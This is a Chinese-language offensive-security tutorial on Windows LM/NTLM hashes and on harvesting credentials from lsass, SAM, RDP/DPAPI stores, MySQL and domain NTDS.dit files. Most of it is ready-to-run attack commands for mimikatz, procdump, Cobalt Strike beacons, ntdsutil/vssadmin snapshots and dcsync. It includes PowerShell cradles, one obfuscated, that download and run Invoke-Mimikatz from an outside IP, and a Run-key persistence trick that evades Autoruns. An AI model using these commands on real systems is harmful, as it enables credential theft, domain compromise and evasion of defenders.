Windows HASH
HASH简介
hash ,一般翻译做散列,或音译为哈希,所谓哈希,就是使用一种加密函数进行计算后的结果。这个
加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。
这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相
同的输出,所以不可能从散列值来确定唯一的输入值。简单的说就是一种将任意长度的消息压缩到某一
固定长度的消息摘要的函数。
windows HASH简介
Windows 加密过的密码口令,我们称之为 hash
Windows 系统使用两种方法对用户的密码进行哈希处理,它们分别是 LAN Manager ( LM ) 哈希和 NT
LAN Manager ( NTLM ) 哈希。
现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。
LM-HASH
LM-HASH简介
LAN Manager ( LM )哈希是 Windows 系统所用的第一种密码哈希算法,是一种较古老的 Hash ,在 LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。
它只有唯一一个版本且一直用到了 NT LAN Manager ( NTLM ) 哈希的出现,
在 Windows XP / Windows Server 2003 之前, 它是 Windows 上占主导地位的密码存储算法。
从 Windows Vista / Windows Server 2008 开始,默认情况下已禁用该算法。
LM 算法是在 DES 基础上实现的,不区分字母大小写。
LM-HASH生成原理
假设用户密码为: password
1. 将用户密码所有字符转换为大写: PASSWORD
2. 密码长度不足 14 个字符将用 0 填充到 14 个字符
3. 这 14 个字符将被分成两半: PASSWOR D000000
4. 将每一半转换为位,并且每 7 位之后将添加一个奇偶校验位 (0) ,因此结果为 64 位: 1101000011 - > 1101000 0 011 ,在将这些奇偶校验位相加之后,我们将从两个预先生成的两半中获得两个密钥 5. 分别用生成的两个密钥作为 key 对 KGS!@#$% 进行 DES 加密: PASSWOR =E52CAC67419A9A22
D000000 = 4A3B108F3FA6CB6D
6. 将加密后的两组拼接在一起,得到 LM HASH 值: E52CAC67419A9A22 4A3B108F3FA6CB6D
使用 python 得到 LM HASH 值:
python3 -c "from passlib.hash import lmhash;print(lmhash.hash('password'))"
#coding=utf-8
import re
import binascii
from pyDes import *
def DesEncrypt ( str , Des_Key ):
k = des ( binascii . a2b_hex ( Des_Key ), ECB , pad = None )
EncryptStr = k . encrypt ( str )
return binascii . b2a_hex ( EncryptStr )
def group_just ( length , text ):
# text 00110001001100100011001100110100001101010011011000000000
text_area = re . findall ( r'.{%d}' % int ( length ), text ) # ['0011000',
'1001100', '1000110', '0110011', '0100001', '1010100', '1101100', '0000000']
text_area_padding = [ i + '0' for i in text_area ] #['00110000', '10011000',
'10001100', '01100110', '01000010', '10101000', '11011000', '00000000']
hex_str = '' . join ( text_area_padding ) #
0011000010011000100011000110011001000010101010001101100000000000
hex_int = hex ( int ( hex_str , 2 ))[ 2 :]. rstrip ( "L" ) #30988c6642a8d800
if hex_int == '0' :
hex_int = '0000000000000000'
return hex_int
def lm_hash ( password ):
# 1. 用户的密码转换为大写,密码转换为 16 进制字符串,不足 14 字节将会用 0 来再后面补全。
pass_hex = password . upper (). encode ( "hex" ). ljust ( 28 , '0' )
#3132333435360000000000000000
print ( pass_hex )
# 2. 密码的 16 进制字符串被分成两个 7byte 部分。每部分转换成比特流,并且长度位 56bit ,长度不足
使用 0 在左边补齐长度
left_str = pass_hex [: 14 ] #31323334353600
right_str = pass_hex [ 14 :] #00000000000000
left_stream = bin ( int ( left_str , 16 )). lstrip ( '0b' ). rjust ( 56 , '0' ) #
00110001001100100011001100110100001101010011011000000000
right_stream = bin ( int ( right_str , 16 )). lstrip ( '0b' ). rjust ( 56 , '0' ) #
00000000000000000000000000000000000000000000000000000000
# 3. 再分 7bit 为一组 , 每组末尾加 0 ,再组成一组
left_stream = group_just ( 7 , left_stream ) # 30988c6642a8d800
right_stream = group_just ( 7 , right_stream ) # 0000000000000000
# 4. 上步骤得到的二组,分别作为 key 为 "KGS!@#$%" 进行 DES 加密。
left_lm = DesEncrypt ( 'KGS!@#$%' , left_stream ) #44efce164ab921ca
right_lm = DesEncrypt ( 'KGS!@#$%' , right_stream ) # aad3b435b51404ee
# 5. 将加密后的两组拼接在一起,得到最终 LM HASH 值。
return left_lm + right_lm
if __name__ == '__main__' :
hash = lm_hash ( "123456" )
LM-HASH缺点
1. 密码长度最大只能为 14 个字符
2. 密码不区分大小写
3. 如果密码强度是小于 7 位,那么第二个分组加密后的结果肯定是 aad3b435b51404ee ,如果我们看到 lm hash 的结尾是 aad3b435b51404ee ,就可以很轻易的发现密码强度少于 7 位
4. 一个 14 个字符的密码分成 7+7 个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式使破解难度成倍增加,因为攻击者需要将7 个字符(而不是 14 个字符)强制暴力破解。这使得 14 个字符的密码的有效强度等于,或者是7 个字符的密码的两倍,该密码的复杂度明显低于 14 个字符的密码的理论强度
5. DES 密码强度不高
NTLM-HASH
NTLM-HASH简介
NT LAN Manager ( NTLM ) 哈希是 Windows 系统认可的另一种算法,用于替代古老的 LM-Hash ,一般指
Windows 系统下 Security Account Manager ( SAM ) 中保存的用户密码 hash ,在 Windows
Vista/Windows 7/Windows Server 2008 以及后面的系统中, NTLM 哈希算法默认启用。
NTLM-HASH生成原理
1. 先将用户密码转换为十六进制格式。
2. 将十六进制格式的密码进行 Unicode 编码。
3. 使用 MD4 摘要算法对 Unicode 编码数据进行 Hash 计算
HASH格式
Windows 的系统密码 hash 默认情况下一般由两部分组成:
第一部分是 LM - hash ,第二部分是 NTLM- hash 。
LM 哈希密码最大长度为 14 ,密码长度超过 14 位使用 NTLM 哈希
前面三个系统,当密码超过14 位的时候会采用 NTLM 加密
前一部分是 LM Hash ,后一部分是 NTLM Hash
python2 - c "import hashlib,binascii;print
binascii.hexlify(hashlib.new('md4','123456'.encode('utf-16le')).digest())"
python3 - c "import
hashlib,binascii;print(binascii.hexlify(hashlib.new('md4','123456'.encode('utf-
16le')).digest()).decode())"
用户名称 :RID:LM-HASH 值 :NTLM-HASH 值
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248::: 当 LM Hash 是 AAD3B435B51404EEAAD3B435B51404EE 这表示 空密码或者是未使用 LM_HASH
HASH存储位置
windows hash 一般存储在两个地方:
SAM 文件,存储在本机,对应本地用户
NTDS.DIT 文件,存储在域控上,对应域用户
文件位置:
SAM :
C:\windows\system32\config\SAM
NTDS.DIT :
C:\windows\NTDS\NTDS.dit
Windows认证基础
Windows 的认证包括三个部分:
本地认证:用户直接操作计算机登录账户
网络认证:远程连接到工作组中的某个设备
域认证:登陆到域环境中的某个设备
Windows本地认证
1. 用户输入密码
2. 系统收到密码后将用户输入的密码计算成 NTLM Hash
3. 与 sam 数据库( %SystemRoot%\system32\config\sam )中该用户的哈希比对
4. 匹配则登陆成功,不匹配则登陆失败
NTLM 哈希,是一种单向哈希算法, Windows 将用户的密码计算成 NTLM 哈希之后才存储在电脑中。
本地认证中用来处理用户输入密码的进程为 lsass.exe , 密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash 与 sam 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的
Windows网络认证
网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
NTLM 协议的认证过程分为三步,也叫挑战相应机制:
1. 协商
双方确定使用的协议版本, NTLM 存在 V1 和 V2 两个版本,即 Net - NTLM v1 hash 、 Net - NTLM v2
hash ,具体区别就是加密方式不同
在 NTLM 认证中, NTLM 响应分为 NTLM v1 , NTLMv2 , NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法
SAM :
C:\windows\system32\config\SAM
NTDS.DIT :
C:\windows\NTDS\NTDS.dit
2. 质询
挑战( Chalenge ) / 响应( Response )认证机制的核心
1. 客户端向服务器端发送用户信息 ( 用户名 ) 请求
2. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16 位的随机数,被称之为 " Challenge " , 然后使用登录用户名对应的 NTLM Hash 加密 Challenge(16 位随机字符 ) , 生成 Challenge1 保存在内存中。同时,生成 Challenge1 后,将 Challenge (16 位随机字符 ) 明文发送给客户端。
3. 客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的 NTLM Hash ,然后使用这个 NTLM Hash 加密 Challenge 生成 Response ,然后将 Response 发送至服务器端。
3. 验证
在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的 Response 后,与之前保存在内存中的 Channelge1 比较,如果相等认证通过
其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash (不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM 哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道正确的密码也可通过认证
net-ntlm hash破解
NTLMv2 的格式为:
username::domain:challenge:HMAC-MD5:blob
hashcat -m 5600 net-ntlm /tmp/password.list -o found.txt --force
-m : hash-type , 5600 对应 NetNTLMv2
详细参数可查表: https://hashcat.net/wiki/doku.php?
-o :输出文件 字典文件为 /tmp/password.list
--force :代表强制执行,测试系统不支持 Intel OpenCL
Windows密码凭证获取
系统用户凭证获取
mimikatz
mimikatz for Win10 下载:
https://github.com/gentilkiwi/mimikatz/releases
本地非交互式凭证获取:
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
2.0
privilege::debug // 提升权限
sekurlsa::logonpasswords // 抓取密码
1.X
privilege::debug // 提升权限
inject::process lsass.exe sekurlsa.dll // 注入 sekurlsa.dll 到 lsass.exe 进程里
@getLogonPasswords // 获取密码
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit
Powershell脚本
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.p
s1
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.p
s1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mi
mikatz.ps1
Powershell 本地加载 mimikatz 脚本:
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "sekurlsa::logonPasswords full"'
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "token::elevate" "lsadump::sam"'
Powershell 远程加载 mimikatz 脚本
powershell IEX (New-Object
Net.WebClient).DownloadString('http://47.101.214.85:8000/Invoke
Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
powershell 混淆
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject
Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'47.101.214'+'
.85:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke
Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
Powershell 加载 Get-PassHashes 脚本:
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.p
s1
powershell IEX(new-object
net.webclient).downloadstring('http://47.101.214.85:8000/Get
PassHashes.ps1');Get-PassHashes
procdump+mimikatz
Procdump 下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump lsass 进程导出 :
For 32bits :
procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits :
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
然后使用 mimikatz 还原密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
注册表导出Hash
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
mimikatz :
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
impacket :
https://github.com/SecureAuthCorp/impacket/tree/master/examples
LaZagne
https://github.com/AlessandroZ/LaZagne
pip3 install -r requirements.txt
# 如果提示找不到 Crypto 模块, 就到 pip 包安装位置
C:\Users\[User]\AppData\Roaming\Python\Python38\site-packages
把 crypto 文件夹重命名为 Crypto
Meterpreter获取Hash
Hashdump
use post/windows/gather/hashdump //system 权限的 meterpreter
set session 1
exploit // 结果保存在 tmp 目录下
use post/windows/gather/smart_hashdump
set session 1
exploit
Hash 格式: 用户名称 :RID:LM - HASH 值 :NTLM - HASH 值
Mimikatz
Hashdump 使用的是 mimikatz 的部分功能
load mimikatz // 加载模块
wdigest 、 kerberos 、 msv 、 ssp 、 tspkg 、 livessp // 获取用户密码的 hash 值
mimikatz_command -h
mimikatz_command -f :: // 查询有哪些模块
mimikatz_command -f samdump::hashes // 从 windows 的 sam 文件中读取密码 hash 值
mimikatz_command -f sekurlsa::searchPasswords // 获取明文密码
mimikatz_command -f samdump::bootkey
# msf6
load kiwi
help kiwi
creds_all // 列举系统中的明文密码
lsa_dump_sam // 读取 sam 文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd 命令后面接 mimikatz 的命令
CobaltStrike获取Hash
beacon> hashdump
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords
其他密码凭证获取
1 RDP连接密码解密
mimikatz
查看本地机器本地连接过的目标机器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
/s
查看本地用户此目录下是否存有 RDP密码文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
1E85A94EE31F584E484B8120E3ADA266
9D4E7B34E2541E8AB9F716D127DFFC87
AAAD88ECA44F5AAA1754B5E18F7EB12D
DFBE70A7E5CC19A398EBF1B96859CE5D
E05DBE15D38053457F3523A375594044
查看保存在本地的远程主机信息
cmdkey /list
选择一个密码文件对其进行解密。
此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey 。
privilege::debug
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
guidMasterKey : {34dc48bb-0af9-4925-bf07-f54ba502a40a}
根据 guidMasterKey 找到对应的 Masterkey
sekurlsa::dpapi
通过 Masterkey 解密 pbData 数据,拿到明文 RDP 连接密码
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
/masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5
bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8
netpass
https://www.nirsoft.net/x64_download_package.html
https://www.nirsoft.net/packages/x64tools.zip nirsoft123!
Powershell脚本获取RDP连接记录
https://github.com/3gstudent/List-RDP-Connections-History.git
Cobaltstrike
beacon> shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server
Client\Servers" /s
[*] Tasked beacon to run: reg query
"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
[+] host called home, sent: 113 bytes
[+] received output:
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\10.10.10.6
UsernameHint REG_SZ MINGY\Administrator
beacon> shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
[*] Tasked beacon to run: dir /a
%userprofile%\AppData\Local\Microsoft\Credentials\*
[+] host called home, sent: 89 bytes
[+] received output:
驱动器 C 中的卷没有标签。
卷的序列号是 C883-5B4B
C:\Users\Administrator\AppData\Local\Microsoft\Credentials 的目录
2020/09/04 13:24 <DIR> .
2020/09/04 13:24 <DIR> ..
2020/09/04 13:24 434 8CAC243098BA9DDD4EAB58433B85D7F0 1 个文件 434 字节
2 个目录 56,959,107,072 可用字节
beacon> shell cmdkey /list
[*] Tasked beacon to run: cmdkey /list
[+] host called home, sent: 43 bytes
[+] received output:
当前保存的凭据 :
目标 : Domain:target=TERMSRV/10.10.10.6
类型 : 域密码
用户 : WIN7-1\administrator
本地机器持续时间
目标 : LegacyGeneric:target=MINGY\WIN7-1
类型 : 普通
用户 : MINGY\WIN7-1
目标 : LegacyGeneric:target=WIN7-1\Administrator
类型 : 普通
用户 : WIN7-1\Administrator
2 Mysql数据库密码破解
一旦获取了网站一定的权限后,如果能够获取 MySQL 中保存用户数据,通过解密后,即可通过正常途径
来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。
MySQL 数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件
读取权限后即可直接从数据库连接文件中读取
一般都包含有数据库类型,物理位置,用户名和密码等信息
1. MYSQL数据库文件类型
MYSQL 数据库文件共有 frm 、 MYD 和 MYI 三种文件
".frm" 是描述表结构的文件
".MYD" 是表的数据文件
".MYI" 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中
与用户有关的一共有三个文件即 user.frm 、 user.MYD 和 user.MYI , MYSQL 数据库用户密码都保存
在 user.MYD 文件中,包括 root 用户和其他用户的密码。
2. Mysql加密方式
MYSQL 数据库的认证密码有两种方式
MYSQL 4.1 版本之前是 MYSQL323 加密, MYSQL 4.1 和之后的版本都是 MYSQLSHA1 加密
MYSQL 数据库中自带 Old_Password(str) 和 Password(str) 函数 , 它们均可以在 MYSQL 数据库里进
行查询,前者是 MYSQL323 加密,后者是 MYSQLSHA1 方式加密。
mysql> select Password('root');
+-------------------------------------------+
| Password('root') |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set
mimikatz "privilege::debug" "dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\8CAC243098BA9DDD4EAB58433
B85D7F0" "exit" MYSQL323 加密中生成的是 16 位字符串,而在 MYSQLSHA1 中生成的是 41 位字符串,其中 * 是不加入实际
的密码运算中, MYSQLSHA1 加密的密码的实际位数是 40 位
3. 获取Mysql数据库密码hash值
用 winhex 编辑器打开 user.MYD 文件,使用二进制模式查看,即可得到密码 Hash值:81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
4. Hash破解
在线网站破解
www.cmd5.com
www.somd5.com
hashcat 破解
hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
john the ripper 破解
john --list=format | grep mysql
john --format=mysql-sha1 mysql.hash
Cain 破解
3 其他应用程序密码破解
https://github.com/uknowsec/SharpDecryptPwd
对密码已保存在 Windwos 系统上的部分程序进行解析 , 包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品( Xshell,Xftp) 。
源码:
https://github.com/RowTeam/SharpDecryptPwd
域内密码凭证获取
Ntds.dit
活动目录数据库( NTDS.DIT )
Ntds.dit 是主要的 AD 数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。
非域环境也就是在工作组环境中,有一个 sam 文件存储着当前主机用户的密码信息,想要破解 sam 文件与ntds.dit 文件都需要拥有一个 system 文件。
AD DS 数据存储:
由 Ntds.dit 文件构成
默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中
只能通过域控制器进程和协议访问
Ntds.dit : ( 也被称为 Active Directory database) 包含了当前域中所有的用户的账号信息,和其 HASH 值通过获取 Ntds.dit 和 SYSTEM 文件的副本,最可靠的执行密码审计的方法是脱机的。 由于 Windows 阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。
ntds.dit 文件位置 : C:\Windows\NTDS\NTDS.dit
system 文件位置 :C:\Windows\System32\config\SYSTEM
sam 文件位置 :C:\Windows\System32\config\SAM
1 活动目录数据库
由 NTDS.DIT 文件构成,是 Active Directory 的核心
存储在域控的 %SystemRoot%\ntds\ 文件夹下
只能通过域控制器进程和协议访问
在工作组环境中, SAM 文件存储着当前主机用户的密码哈希值
在域环境中, NTDS.DIT 文件存储了域中所有用户的密码哈希值
因此我们可以通过获取到这两个文件,然后破解得到其中所存储的密码哈希值。
Windows 系统为了进一步保护存储的密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。
因此想要破解 SAM 文件与 NTDS.DIT 文件都需要获取一个 SYSTEM 文件。
由于 Window 会阻止对这些文件的标准读取或复制操作,如果直接去复制 NTDS.DIT 文件,会提示文件被系统占用,所以常规的复制下载方法是无法获取到文件副本的,因此需要通过特殊方法来获取。
2 Volume Shadow Copy
Volume Shadow Copy Service
Volume Shadow Copy Service 卷影复制服务( VSS )是微软从 Windows XP 开始提供的用于创建一
致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS 时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。
用于数据备份
支持 Windows Server 2003 及以上操作系统
系统默认在特定条件下自动创建数据备份,如补丁安装后。在 Win7 系统大概每隔一周自动创建备
份,该时间无法确定
禁用 VSS 会影响系统正常使用,如 System Restore 和 Windows Server Backup
我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DIT 、 SAM 、 SYSTEM 等文件副本。
注意:
1. 调用 Volume Shadow Copy 服务会产生 SYSTEM 日志, Event ID 为 7036 。
2. 执行 ntdsutil snapshot "activate instance ntds" create quit quit 会额外产生 Event
ID 为 98 的日志
hash 数量:所有用户
免杀:不需要
优点:
获得信息全面
简单高效
无需下载 ntds.dit ,隐蔽性高
3 Ntdsutil
域环境默认安装
支持系统:
Server 2003
Server 2008
Server 2012
3.1 交互式
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
//copy 完之后再执行
unmout [GUID]
del [GUID]
1. 以管理员身份打开命令提示符( cmd.exe )
2. 在命令提示符输入 ntdsutil 命令
3. 在 ntdsutil 提示符下输入
activate instance ntds
ifm
create full <Drive>:\<Folder>
<Drive>:\<Folder> 是要创建文件的文件夹路径。
3.2 非交互
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
3.2.1 查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
3.2.2 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid 为 {daee5123 - b284 - 47fe - b02e - 6e67e8d80fb1}
3.2.3 挂载快照
ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
快照挂载为 C:\$SNAP_201908291617_VOLUMEC$\
3.2.4 复制ntds.dit
copy C:\$SNAP_202008271744_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit
3.2.5 卸载快照
ntdsutil snapshot "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
3.2.6 删除快照
ntdsutil snapshot "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
4 Vssadmin
域环境默认安装
支持系统:
Server 2008
Server 2012
4.1 查询当前系统的快照
vssadmin list shadows
4.2 创建快照
vssadmin create shadow /for=c:
获得 Shadow Copy Volume Name 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
4.3 复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit
c:\ntds3.dit
4.4 删除快照
vssadmin delete shadows /for=c: /quiet
5 Vshadow
Vshadow ( vshadow.exe ) 是用于管理卷影副本的命令行实用程序。此工具包含在 Microsoft
Windows Software Development Kit (SDK) 中,有 Microsoft 签名。
Vshadow 有很多功能,包括执行脚本和调用命令以支持卷影快照管理的能力。
5.1 查询当前系统的快照
vshadow.exe -q
5.2 创建快照
vshadow.exe -p -nw C:
参数说明:
-p persistent ,备份操作或是重启系统不会删除
-nw no writers ,用来提高创建速度
C: 对应 c 盘
获得 SnapshotSetID 、 SnapshotID 、 Shadow copy device name
5.3 复制ntds.dit
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit
5.4 删除快照
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId
5.5 利用vshadow执行命令
参考: https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-ev
asion-persistence-and-active-directory-database-extraction/
Vshadow.exe 支持 - exec 参数,可用于执行二进制文件( .exe )或脚本( .bat/.cmd )。
-exec 参数不支持命令参数
要求:
管理员权限
上传 Vshadow.exe
上传攻击载荷
执行命令格式:vshadow.exe -nw -exec=<\path\to\exe> < 系统驱动器 >
-nw :允许我们在不调用卷影副本编写器的情况下创建卷影副本,实际上,这是一个非持久性卷影副本,不会留下“ 物理 ” 磁盘证据
执行命令:
beacon> shell vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
[*] Tasked beacon to run: vshadow.exe -nw -exec=c:\windows\system32\notepad.exe
c:
[+] host called home, sent: 87 bytes
成功执行 Vshadow 将启动卷影服务 (VSS) ,如系统事件 ID 7036 所示,并调用 VSSVC.exe 进程。
执行后,后台存在进程 VSSVC.exe ,同时显示服务 Volume Shadow Copy 正在运行,需要手动关闭进程 VSSVC.exe
注:手动关闭进程 VSSVC.exe 会生成日志 7034
5.6 自启动持久化和规避
利用思路:
vshadow.exe 包含微软签名,能绕过某些白名单的限制。如果作为启动项, Autoruns的默认启动列表不显示
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t
REG_EXPAND_SZ /d "C:\Program Files (x86)\Windows
Kits\10\bin\10.0.16299.0\x64\vshadow.exe -nw -
exec=c:\windows\system32\notepad.exe c:"
在 AutoRuns 中,当过滤 “Microsoft Entries” 时,我们将 看 不到我们的登录条目
但是,如果我们取消选择 “Microsoft Entries” 并启用 “Windows Entries” ,我们将看到我们的持久性机制的记录
6 NinjaCopy
下载地址: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltra
tion/Invoke-NinjaCopy.ps1
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination
.\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
.\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination
"C:\Users\Administrator\Desktop\ntds.dit"
beacon> powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[*] Tasked beacon to import: C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[+] host called home, sent: 206740 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[+] host called home, sent: 493 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -
LocalDestination c:\system.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path
C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
[+] host called home, sent: 509 bytes
beacon> powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[*] Tasked beacon to run: Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[+] host called home, sent: 481 bytes 没有调用 Volume Shadow Copy 服务,因此不会产生日志
7 解密NTDS.DIT文件
7.1 Mimikatz在线破解
在线破解,不用将域控上的 ntds.dit 文件下载下来,直接在已有的 shell 上破解。
有一个 cs 弹回的 beacon ,就可以在 beacon 中直接利用 mimikatz 来破解,这一切的前提是有管理员权限Mimikatz有一个功能( dcsync ),它可以利用目录复制服务( Directory Replication Service, DRS )从NTDS.DIT文件中提取密码哈希值。
使用 Mimikatz 的 dcsync 功能,可以利用目录复制服务( Directory Replication Service, DRS )从
NTDS.DIT 文件中提取密码哈希值。
在获得管理员权限后,通过 Cobaltstrike 弹回的 beacon 利用 mimikatz 模块进行密码 Hash 提取。
获取 mingy 域内所有用户Hash
lsadump::dcsync /domain:mingy.com /all /csv
查看单个用户的详细信息
mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt
查看所有用户的详细信息
mimikatz lsadump::lsa /inject
7.2 离线破解
离线破解一般需要两步,首先就是将远端域控的 ntds.dit 下载到本地,然后再在本地进行破解。
ntds.dit 文件一直在被 windows 系统使用,所以常规的复制下载方法是无法将文件下载到本地的。
首先将域控的 NTDS.DIT 和 SYSTEM 文件下载到本地,然后在本地进行破解。
QuarksPwDump
QuarksPwDump 是一款用于 Windows 用户凭据提取的开源工具,它可以抓取 windows 平台下多种类型
的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和 Bitlocker 。
1. 修复复制出来的数据库
esentutl /p /o ntds.dit 2. 使用 QuarksPwDump 直接读取信息并将结果导出至文件
QuarksPwDump.exe --dump-hash-domain --output mingy.com.txt --ntds-file ntds.dit
SecretsDump
通过 impacket 套件中的 secretsdump.py 脚本
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL NtdsAudit
https://github.com/Dionach/NtdsAudit
8 扩展
1. 日志文件
调用 Volume Shadow Copy 服务会产生日志文件,位于 System 下, Event ID 为 7036
执行 ntdsutil snapshot "activate instance ntds" create quit quit 会额外产生 Event ID 为
98 的日志文件
2. 访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
删除符号链接:
rd c:\testvsc